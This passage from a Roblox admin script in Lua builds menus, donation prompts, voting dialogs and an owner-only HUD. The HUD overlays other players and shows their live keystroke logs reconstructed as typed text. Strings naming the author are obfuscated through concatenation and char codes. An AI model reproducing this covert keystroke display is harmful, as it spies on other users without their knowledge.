elseif ValueType == nil then ValueType = type(DefaultValue) end if ValueType == "nil" or ValueType == "userdata" then ValueType = nil elseif ValueType == "table" then DefaultValue = STRING:UnpackArgs(DefaultValue) ValueType = "string" end if ValueType then local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left" local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1 if ValueType == "string" or ValueType == "number" then if Writable == true then local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false Input.Changed:connect(function(Prop) if Prop == "Text" then if ValueType == "number" then NewProperties[PropertyName] = tonumber(Input.Text) else NewProperties[PropertyName] = tostring(Input.Text) end end end) else local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left" end end if ValueType == "boolean" then local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474" if DefaultValue == true then Check.Image = "rbxassetid://48138491" end if Writable == true then Check.MouseButton1Down:connect(function() local NewVal = not NewProperties[PropertyName] NewProperties[PropertyName] = NewVal if NewVal == true then Check.Image = "rbxassetid://48138491" else Check.Image = "rbxassetid://48138474" end end) else Check.ImageTransparency = 0.5 end end YCount = YCount + 50 end end end Frame.CanvasSize = UDim2.new(0,0,0,YCount) Closed.Event:connect(function() HasClosed = true end) repeat wait(0.1) until HasClosed return NewProperties end function GUI:SettingsGui(Player) if not Player then return nil end local CloneViewSettings,CanChange = {},false local ViewSettings = { ["Version"] = {CORE.Version.Value, false, nil}; ["Prefix"] = {Settings.Prefix, 3, "Prefix"}; ["Font"] = {Settings.Font, 3, "Font"}; ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"}; ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"}; ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"}; ["Fun Commands"] = {Settings.Fun, 3, "Fun"}; ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"}; ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"}; ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"}; ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"}; ["Group ID"] = {Settings.GroupID, false, "GroupID"}; ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"}; ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"}; ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"}; ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"}; ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"}; ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"}; ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"}; ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil}; ["Bet"] = {Settings.Bet, 3, "Bet"}; } local _,RankNum = RANK:GetRank(Player) if RankNum >= 3 then CanChange = true end for Prop,Data in pairs(ViewSettings) do local Writable = false if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end CloneViewSettings[Prop] = {Data[1], Writable} end local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings) if CanChange then for Prop,Data in pairs(ViewSettings) do if Data[3] then Settings[Data[3]] = NewSettings[Prop] -- wow haxy end end CORE:FixSettings() end end function GUI:MessageAdmins(TitleText, BodyText, Icon) for _,Player in pairs(Server.Players:GetPlayers()) do local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player) if PlayerAdmin then GUI:SendMessage(Player, TitleText, BodyText, Icon) end end end function GUI:TellAdmin(Player) if not Player then return end local ValidAdmin,Rank = RANK:IsAdmin(Player) if ValidAdmin == true then GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5) if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then local SoundID = 237866523 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1) Sound:Play() coroutine.wrap(function() wait(4) Sound:Stop() Sound:Destroy() end)() end end end function GUI:TellNotAdmin(Player) if not Player then return end GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information") end function GUI:CreateTaskBar(Player) if not Player then return nil end if Settings.EnableTaskBar == false then return nil end Player:WaitForChild("PlayerGui") local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar" local IsMoving = false local TaskBarShown = false local Tasks = {} local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206" local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm" local Open,CloseForm = false,nil if Settings.EnableAdminMenu then local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270" coroutine.wrap(function() wait(1) MenuButton.MouseButton1Click:connect(function() if Open == false then local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true) Open,CloseForm = true,Close local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor() local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30) local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top" local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!" local function DonateMoney(Type, Element) local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57)) local Get = Request[Type] if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then Server.MPS:PromptPurchase(Player, Get[1], true) elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then Server.MPS:PromptPurchase(Player, Get[2], true) elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then Server.MPS:PromptPurchase(Player, Get[3], true) else Element.Text = "Cannot get request" end end local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true Get.MouseButton1Down:connect(function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get) local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true Dnt.MouseButton1Down:connect(function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt) local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Down:connect(function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt) local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Down:connect(function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt) local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" Dnt.MouseButton1Down:connect(function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt) local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player) if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end if Closed then Closed.Event:connect(function() Open = false end) end else CloseForm:Invoke() end end) end)() if RANK:GetRank(Player) == "Owner" then local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761" HUDButton.MouseButton1Click:connect(function() local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui") if HUDSG then HUDSG:Destroy() else GUI:CreateHUD(Player) end end) end end TaskButton.MouseButton1Click:connect(function() if IsMoving == false then if TaskBarShown == true then TaskBarShown = false IsMoving = true TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end) else TaskBarShown = true IsMoving = true TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end) end end end) local function ReloadIcons() for Num,Data in pairs(Tasks) do Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0) end end AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore) local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID table.insert(Tasks, {Form, Icon}) local CanClick = true Icon.MouseButton1Down:connect(function() if Form.IsActive.Value == false then Restore:Invoke() elseif CanClick == true then coroutine.wrap(function() CanClick = false local DefPos = Form.Dragger.Position for i = 1,15 do Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2)) wait(0.05) end Form.Dragger.Position = DefPos CanClick = true end)() end end) ReloadIcons() Closed.Event:connect(function() for Num,Data in pairs(Tasks) do if Data[1] == Form then Icon:Destroy() table.remove(Tasks, Num) end end ReloadIcons() end) end) end function GUI:ShowDebtStats(Player, ManualText) local Text = ManualText if not ManualText then Text = "CANNOT GET STATISTICS" local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates") if RawPage then local _,GetStart = string.find(RawPage, 'debtDisplayFast">') local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '') Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2)) end end local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945) local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true return Text end function GUI:ShowCommand(Player, CommandTrigger) if not Player then return nil end if not CommandTrigger then return nil end if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end local CommandKey = CommandTrigger if not Commands[CommandKey] then for CommandNames,_ in pairs(Commands) do for _,CommandName in pairs(CommandNames) do if CommandName == CommandKey then CommandKey = CommandNames end end end end local CommandData = Commands[CommandKey] local BodyText = "No valid command has been entered" local TitleText = "Error" local CanExe = false if CommandData then local PlayerRank = RANK:GetRank(Player) if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end TitleText = "Command: "..CommandKey[1] BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[ Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[ Description: ]]..CommandData[2]..[[ Arguments: ]]..CommandData[3]..[[ Minimum rank needed: ]]..CommandData[4]..[[ Fun command: ]]..STRING:BoolString(CommandData[5])..[[ Abusable command: ]]..STRING:BoolString(CommandData.Abusable) end GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe) end function GUI:CreateHUD(Speaker) if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui" local function AddHUD(Player, Char) if not Char or not Char:FindFirstChild("Head") then return nil end local Rank = RANK:GetRank(Player) local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0) local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1) local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1) local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1) coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do InfoLabel.Text = "Name: "..Player.Name..[[ Rank: ]]..RANK:GetRank(Player)..[[ Age: ]]..STRING:FindAge(Player.AccountAge) if Speaker.Character and Speaker.Character:FindFirstChild("Head") then InfoLabel.Text = InfoLabel.Text..[[ Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude) end if LastKeys[Player.UserId] then local Keys = "" local KeyLog = {} for _,KeyData in pairs(LastKeys[Player.UserId]) do table.insert(KeyLog, KeyData[1]) if KeyData[2] == 8 then Keys = string.sub(Keys, 1, #Keys - 1) elseif KeyData[2] == 13 then Keys = Keys.." " else Keys = Keys..string.char(KeyData[2]) end end KeyLabel.Text = table.concat(KeyLog, "\n") KeyOutput.Text = Keys end HUD.Image = "rbxassetid://"..RankHUD[Rank] end end)() local CharRev,Removing = nil,nil CharRev = Player.CharacterRemoving:connect(function() PlayerHUD:Destroy() CharRev:disconnect() Removing:disconnect() end) Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then PlayerHUD:Destroy() CharRev:disconnect() Removing:disconnect() end end) end local function ConnectHUD(Player) if Player ~= Speaker then if Player.Character then AddHUD(Player, Player.Character) end Player.CharacterAdded:connect(function(Char) if Speaker then AddHUD(Player, Char) else return nil end end) end end for _,Player in pairs(Server.Players:GetPlayers()) do ConnectHUD(Player) end Server.Players.PlayerAdded:connect(ConnectHUD) end function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents) if not Player or not Player:FindFirstChild("PlayerGui") then return nil end local Stopped = false local Elements = {} local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID) Frame.Size = UDim2.new(1,0,1,-30) Frame.CanvasSize = UDim2.new(0,500,0,300) local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundColor3 = Color3.new(1, 1, 1) ChatBox.BackgroundTransparency = 0.5 ChatBox.Text = "Click here or press the '-' key" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = Color3.new(1, 1, 1) Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14" local function AddLine(Speaker, MessageText, MessageColor) MessageText = STRING:Defilter(MessageText) if MessageColor == true then MessageColor = Color3.new(1,0,0) end if not MessageColor then MessageColor = GUI:ContrastColor() end for Num,Bound in pairs(Elements) do Bound.Position = Bound.Position + UDim2.new(0,0,0,-20) if Bound.Position.Y.Offset <= -1020 then Bound:Destroy() end end local Bounds = Instance.new("Frame", Frame) Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 0) Bounds.BackgroundTransparency = 1 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor CORE:ExecuteResource("ReposGui", Bounds) table.insert(Elements, Bounds) end if PreAdd then for Num,Add in pairs(PreAdd) do if Num >= #PreAdd - 20 then AddLine(Add[1], Add[2], Add[3]) end end end local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions" local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed" local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage" local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed" CORE:ExecuteResource("ChatBoxLocal", ChatBox) ChatBox.MouseEnter:connect(function() if ChatBox.Text == "Click here or press the '-' key" then ChatBox.Text = "" end end) local function FireSendPressed() if ChatBox.Text ~= "" and ChatBox.Text ~= "Click here or press the '-' key" then SendPressed:Fire(ChatBox.Text) ChatBox.Text = "Click here or press the '-' key" end end Closed.Event:connect(function() if Stopped == false then Stopped = true if SpeakerEvents then SpeakerEvents("Leave") end end end) Send.MouseButton1Down:connect(FireSendPressed) EnterPressed.OnServerInvoke = FireSendPressed AddMessage.OnInvoke = AddLine if SpeakerEvents then SpeakerEvents("Join") coroutine.wrap(function() repeat wait() until not Frame or not Frame.Parent if Stopped == false then Stopped = true SpeakerEvents("Leave") end end)() end return SendPressed, AddMessage end function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons) if tonumber(Time) then ShowFormButtons = false end local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons) local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor() local Clicked = nil local Alive = true local function ClosePrompt(ButtonName) Alive = false Close:Invoke() Clicked = ButtonName end for Num,Select in pairs(Buttons) do local Name = Select local Style = "White" local TextColor3 = Color3.new(0,0,0) if type(Select) == "table" then Name = Select[1] if Select[2] then Style = Select[2] end if Select[3] then TextColor3 = Select[3] end elseif type(Select) == "string" then local Case = string.lower(Select) if Case == "ok" then Name = "Ok" Style = "Primary" TextColor3 = Color3.new(1,1,1) elseif Case == "yes" then Name = "Yes" Style = "Gray" TextColor3 = Color3.new(0,1,0) elseif Case == "no" then Name = "No" Style = "Red" TextColor3 = Color3.new(1,0,0) end end if Style == "None" then Style = "Custom" end if Style == "Casual" then Style = "RobloxButton" end if Style == "Red" then Style = "RobloxButtonDefault" end if Style == "Gray" then Style = "RobloxRoundButton" end if Style == "Primary" then Style = "RobloxRoundDefaultButton" end if Style == "White" then Style = "RobloxRoundDropdownButton" end local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style Button.MouseButton1Down:connect(function() ClosePrompt(Name) end) SOUND:BindButton(Button) end if tonumber(Time) then local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18" Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) Frame.Position = Frame.Position + UDim2.new(0,0,0,30) for i = Time,0,-1 do for ii = 1,10 do if Alive == true then Ticker.Text = i wait(0.1) else break end end end if Alive == true then ClosePrompt() end end repeat wait() until Alive == false return Clicked end function GUI:Vote(Speaker, Players, Text, Time) if not Players or not Text or #Players <= 0 then return end Text = STRING:Defilter(Text) local Votes = {} local Tick = 0 for _,Player in pairs(Players) do local CanVote = true if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end if CanVote == true then coroutine.wrap(function() local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time) if Answer == nil then Answer = "Unknown" end table.insert(Votes, Answer) end)() end end repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time wait(2) if Speaker and Speaker:FindFirstChild("PlayerGui") then local Total = #Players local Yes,No,Unknown = 0,0,0 for _,Vote in pairs(Votes) do if Vote == "Yes" then Yes = Yes + 1 elseif Vote == "No" then No = No + 1 end end Unknown = #Players - #Votes local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863) local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor() local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes: ]]..Yes.."/"..Total..[[ ]]..math.ceil((Yes/Total)*100).."% " local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No: ]]..No.."/"..Total..[[ ]]..math.ceil((No/Total)*100).."% " local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote: ]]..Unknown.."/"..Total..[[ ]]..math.ceil((Unknown/Total)*100).."% " end end function GUI:LoadGui(Player, Text, InfoText) if not Player or not Player:FindFirstChild("PlayerGui") then return nil end local Dead = false local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false) local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 